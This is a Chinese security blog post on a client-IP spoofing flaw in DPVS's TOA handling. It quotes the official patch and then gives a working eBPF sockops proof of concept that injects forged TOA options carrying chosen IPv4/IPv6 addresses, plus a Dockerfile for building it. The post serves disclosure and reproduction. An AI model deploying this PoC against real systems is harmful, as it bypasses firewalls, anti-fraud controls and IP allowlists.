背景

最近在网络上关注到一些有意思的漏洞,来自CFC4N大佬

漏洞影响

IP在很多Web防火墙、反爬虫系统、防刷系统(薅羊毛)是用于做策略控制的基础强依赖,IP的伪造将导致这些系统完全失效,造成极大的风险损失。

IP同样被用于后台系统的ACL的网络边界,此漏洞也依旧成为可以突破的入口。攻击者可伪造IDC公网IP、内网IP等,实现特定IP加白,甚至直接放行等等。

官方补丁如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
Index: src/ipvs/ip_vs_proto_tcp.c
IDEA additional info:
Subsystem: com.intellij.openapi.diff.impl.patch.CharsetEP
<+>UTF-8
===================================================================
diff --git a/src/ipvs/ip_vs_proto_tcp.c b/src/ipvs/ip_vs_proto_tcp.c
--- a/src/ipvs/ip_vs_proto_tcp.c (revision 30e558898060f33a2595c6545253eddd692ecd20)
+++ b/src/ipvs/ip_vs_proto_tcp.c (revision 669c54d067cfd4dbceae3304c1d1aa5a6031a7f7)
@@ -305,6 +305,48 @@
}
}

+/* use NOP option to replace TCP_OLEN_IP4_ADDR and TCP_OLEN_IP6_ADDR opt */
+static void tcp_in_remove_toa(struct tcphdr *tcph, int af)
+{
+ unsigned char *ptr;
+ int len, i;
+ uint32_t tcp_opt_len = af == AF_INET ? TCP_OLEN_IP4_ADDR : TCP_OLEN_IP6_ADDR;
+
+ ptr = (unsigned char *)(tcph + 1);
+ len = (tcph->doff << 2) - sizeof(struct tcphdr);
+
+ while (len > 0) {
+ int opcode = *ptr++;
+ int opsize;
+
+ switch (opcode) {
+ case TCP_OPT_EOL:
+ return;
+ case TCP_OPT_NOP:
+ len--;
+ continue;
+ default:
+ opsize = *ptr++;
+ if (opsize < 2) /* silly options */
+ return;
+ if (opsize > len)
+ return; /* partial options */
+ if ((opcode == TCP_OPT_ADDR) && (opsize == tcp_opt_len)) {
+ for (i = 0; i < tcp_opt_len; i++) {
+ *(ptr - 2 + i) = TCP_OPT_NOP;
+ }
+ /* DON'T RETURN
+ * keep search other TCP_OPT_ADDR ,and clear them.
+ * See https://github.com/iqiyi/dpvs/pull/925 for more detail. */
+ }
+
+ ptr += opsize - 2;
+ len -= opsize;
+ break;
+ }
+ }
+}
+
static inline int tcp_in_add_toa(struct dp_vs_conn *conn, struct rte_mbuf *mbuf,
struct tcphdr *tcph)
{
@@ -719,14 +761,25 @@
*/
if (th->syn && !th->ack) {
tcp_in_remove_ts(th);
+
tcp_in_init_seq(conn, mbuf, th);
- tcp_in_add_toa(conn, mbuf, th);
+
+ /* Only clear when adding TOA fails to reduce invocation frequency and improve performance.
+ * See https://github.com/iqiyi/dpvs/pull/925 for more detail. */
+ if (unlikely(tcp_in_add_toa(conn, mbuf, th) != EDPVS_OK)) {
+ tcp_in_remove_toa(th, af);
+ }
}

/* add toa to first data packet */
if (ntohl(th->ack_seq) == conn->fnat_seq.fdata_seq
- && !th->syn && !th->rst /*&& !th->fin*/)
- tcp_in_add_toa(conn, mbuf, th);
+ && !th->syn && !th->rst /*&& !th->fin*/) {
+ /* Only clear when adding TOA fails to reduce invocation frequency and improve performance.
+ * See https://github.com/iqiyi/dpvs/pull/925 for more detail. */
+ if (unlikely(tcp_in_add_toa(conn, mbuf, th) != EDPVS_OK)) {
+ tcp_in_remove_toa(th, af);
+ }
+ }

tcp_in_adjust_seq(conn, th);

复现路径

根据一些公开线索,我复现了相关的POC
可以在支持ebpf的系统上轻松实现,挂载点在sockops

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
SEC("sockops")
int bpf_sockops_toa(struct bpf_sock_ops *skops)
{
int op = (int) skops->op;

switch(op) {
case BPF_SOCK_OPS_TCP_CONNECT_CB:
//bpf_printk("BPF_SOCK_OPS_TCP_CONNECT_CB");
case BPF_SOCK_OPS_PASSIVE_ESTABLISHED_CB: // 设置flag
//sockops_set_hdr_cb_flags
bpf_sock_ops_cb_flags_set(skops,
skops->bpf_sock_ops_cb_flags |
BPF_SOCK_OPS_WRITE_HDR_OPT_CB_FLAG);
break;
case BPF_SOCK_OPS_HDR_OPT_LEN_CB: // 保留长度
//bpf_printk("BPF_SOCK_OPS_HDR_OPT_LEN_CB");
bpf_reserve_hdr_opt(skops, sizeof(toav4), 0);
// bpf_reserve_hdr_opt(skops, sizeof(toav6), 0);
break;
case BPF_SOCK_OPS_WRITE_HDR_OPT_CB: // 写入
//bpf_printk("BPF_SOCK_OPS_WRITE_HDR_OPT_CB");
sockops_tcp_store_hdr(skops);
bpf_printk("TOA ebpf written");
break;
}

return 1;
}

伪造的IP主要在结构体中替换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct toa_v4_data toav4 = {
.kind = 254,
.len = sizeof(toav4),
.port = 8080,
.ip = bpf_htonl(0x04040404),
};

struct toa_v6_data toav6 = {
.kind = 253,
.len = sizeof(toav6),
.port = 8080,
.ip6 = {
.in6_u.u6_addr32 = {
bpf_htonl(0x20010000), 0x00,0x00, bpf_htonl(0x00008888)
},
},
};

环境部署

为了方便测试,我也编写了Dockerfile用于快速验证,项目源码见ebpf-toa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
FROM ubuntu:latest

RUN apt-get update && \
apt-get install -y build-essential git cmake \
zlib1g-dev libevent-dev \
libelf-dev llvm \
clang libc6-dev-i386 \
vim wget \
nodejs npm \
&& wget -O /tmp/go.tar.gz https://go.dev/dl/go1.21.4.linux-amd64.tar.gz \
&& tar zxvf /tmp/go.tar.gz -C /opt \
&& rm /tmp/*.tar.gz

RUN rm -rf /var/cache/apt/archives/ && mkdir /src && \
git init
WORKDIR /src

# Link asm/byteorder.h into eBPF
RUN ln -s /usr/include/x86_64-linux-gnu/asm/ /usr/include/asm

# Build libbpf as a static lib
RUN git clone https://github.com/libbpf/libbpf-bootstrap.git && \
cd libbpf-bootstrap && \
git submodule update --init --recursive

RUN cd libbpf-bootstrap/libbpf/src && \
make BUILD_STATIC_ONLY=y && \
make install BUILD_STATIC_ONLY=y LIBDIR=/usr/lib/x86_64-linux-gnu/

# Clones the linux kernel repo and use the latest linux kernel source BPF headers and checkout target linux version
RUN git clone -b v5.10 --depth 1 git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git && \
cp linux/include/uapi/linux/bpf* /usr/include/linux/

ENV PATH /opt/go/bin:$PATH